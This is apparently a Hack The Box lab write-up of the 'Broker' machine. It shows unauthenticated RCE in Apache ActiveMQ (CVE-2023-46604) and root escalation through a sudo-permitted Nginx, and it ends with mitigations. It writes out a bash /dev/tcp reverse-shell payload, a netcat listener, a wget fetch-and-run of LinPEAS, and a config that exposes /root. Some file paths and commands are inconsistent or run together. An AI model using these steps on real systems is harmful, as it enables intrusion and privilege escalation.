Listen to this Post
Introduction:
The Broker machine on Hack The Box presents a realistic scenario where a publicly exposed Apache ActiveMQ service leads to unauthenticated remote code execution, followed by a privilege escalation path through a misconfigured sudo entry for Nginx. This walkthrough dissects each phase of the compromise, emphasizing the importance of proper patch management and least-privilege configurations in production environments.
Learning Objectives:
- Identify and exploit an unauthenticated RCE vulnerability in Apache ActiveMQ (CVE-2023-46604).
- Perform thorough Linux enumeration to uncover misconfigured sudo privileges.
- Leverage sudo rights on Nginx to escalate privileges to root.
You Should Know:
1. Initial Reconnaissance and Service Enumeration
Before any exploitation, we must understand the target’s attack surface. Using nmap, we scan for open ports and services:
nmap -sC -sV -p- <target_ip> -oN initial_scan.txt
Typical results for an ActiveMQ instance include:
- Port 8161/tcp – ActiveMQ Web Console (often Jetty)
- Port 61616/tcp – ActiveMQ OpenWire transport
Browsing to port 8161 may reveal a login page, but the vulnerability lies in the OpenWire protocol on port 61616. We can also use `gobuster` to enumerate web directories on port 8161, though the real entry point is the unauthenticated RCE.
2. Exploiting Apache ActiveMQ RCE (CVE-2023-46604)
The Broker machine is vulnerable to CVE-2023-46604, an unauthenticated RCE in Apache ActiveMQ versions prior to 5.18.3. The flaw resides in the OpenWire protocol’s unmarshalling process, allowing an attacker to send a crafted packet that leads to arbitrary code execution.
We can use a public exploit like the Python script available on GitHub (e.g., https://github.com/evkl1d/CVE-2023-46604). After downloading it, we set up a listener:
nc -lvnp 4444
Then run the exploit against the target:
python3 exploit.py -i <target_ip> -p 61616 -u http://<your_ip>:8000/ -c "bash -i >& /dev/tcp/<your_ip>/4444 0>&1"
This triggers a reverse shell as the `activemq` user. Always verify the exploit’s requirements – some versions require hosting an XML payload via a simple HTTP server:
python3 -m http.server 8000
Once the shell connects, we have our initial foothold.
3. Initial Foothold and Enumeration as activemq User
With a low-privilege shell, we must enumerate the system to find privilege escalation vectors. Key commands to run:
whoami; id; hostname; uname -a sudo -l ls -la /home cat /etc/passwd | grep bash ps aux ss -tulpn find / -perm -4000 2>/dev/null
Uploading and running LinPEAS simplifies this process:
On attacker machine python3 -m http.server 80 On target wget http://<attacker_ip>/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
LinPEAS quickly reveals the juicy misconfiguration: the `activemq` user can execute `/usr/sbin/nginx` as root without a password.
4. Identifying the Sudo Misconfiguration
Checking `sudo -l` confirms the entry:
sudo -l
Output:
User activemq may run the following commands on broker: (root) NOPASSWD: /usr/sbin/nginx
This means we can start, stop, or reload Nginx with root privileges. While Nginx itself is not a direct shell, we can abuse its configuration to run arbitrary commands or read sensitive files.
5. Privilege Escalation via Nginx Sudo Abuse
The plan is to create a malicious Nginx configuration that executes a command when Nginx reloads. For instance, we can add a directive that uses `perl` or `lua` to spawn a shell, or we can simply read the root flag.
First, create a custom config in a writable directory:
mkdir /tmp/nginx_root
cd /tmp/nginx_root
cat > nginx_root.conf << 'EOF'
events {}
http {
server {
listen 8888;
root /;
location /root {
alias /root/;
autoindex on;
}
}
}
EOF
This config starts Nginx on port 8888, serving the entire filesystem, and lists the `/root` directory. Now we reload Nginx with sudo:
sudo /usr/sbin/nginx -c /tmp/nginx_root.conf
If Nginx is already running, we must stop it first, then start with our config:
sudo /usr/sbin/nginx -s stop sudo /usr/sbin/nginx -c /tmp/nginx_root.conf
Now curl to see the root flag:
curl http://127.0.0.1:8888/root/root.txt
For a more direct root shell, we could compile a simple SUID binary and use Nginx to execute it, but reading the flag suffices to demonstrate compromise. After obtaining the flag, we can also add a user to `/etc/passwd` using Nginx’s ability to execute CGI or via `perl` module if compiled.
6. Post-Exploitation and Lessons Learned
Once root is achieved, it’s essential to understand the missteps that allowed this:
– Unpatched Service: Apache ActiveMQ was outdated, exposing the RCE.
– Sudo Misconfiguration: Allowing any user to run Nginx as root is dangerous because Nginx can be manipulated to read any file or execute code via modules.
– Lack of Network Segmentation: The service was publicly accessible without firewall restrictions.
Mitigations include:
- Immediately updating ActiveMQ to the latest patched version.
- Restricting sudo permissions to specific commands with arguments (e.g., using `sudo` to allow only `nginx -t` or controlled configs).
- Running services with the least privileges and using containerization.
- Implementing network-level controls (e.g., allow only internal IPs to access management interfaces).
What Undercode Say:
- Key Takeaway 1: Exposing unpatched message brokers like Apache ActiveMQ directly to the internet is a critical risk; attackers can quickly weaponize known vulnerabilities to gain an initial foothold.
- Key Takeaway 2: Misconfigured sudo entries for seemingly harmless binaries (like Nginx) are often overlooked but can be trivially abused to escalate privileges to root.
- Analysis: The Broker machine perfectly illustrates a chain of common real-world weaknesses: a vulnerable service plus poor privilege management. Defenders must adopt a holistic view—patching alone is insufficient if administrative overreach remains. Regular audits of sudo permissions and service configurations, combined with proactive threat hunting, can prevent such escalations. Moreover, employing principle of least privilege at every layer—network, application, and system—would have stopped this attack cold. This walkthrough reinforces that penetration testing and continuous security assessments are vital to uncover these gaps before adversaries do.
Prediction:
As organizations increasingly adopt message queuing systems for microservices and IoT, attacks targeting ActiveMQ, RabbitMQ, and similar brokers will surge. The combination of RCE with subsequent privilege escalation via misconfigurations will become a favored kill chain for adversaries. Future attacks may leverage automated scanners to find exposed brokers, then use AI-generated exploits to rapidly pivot to root, leading to data breaches and ransomware deployments. Defenders must prioritize hardening these components and monitoring for anomalous sudo usage.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Gohil Rahul – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
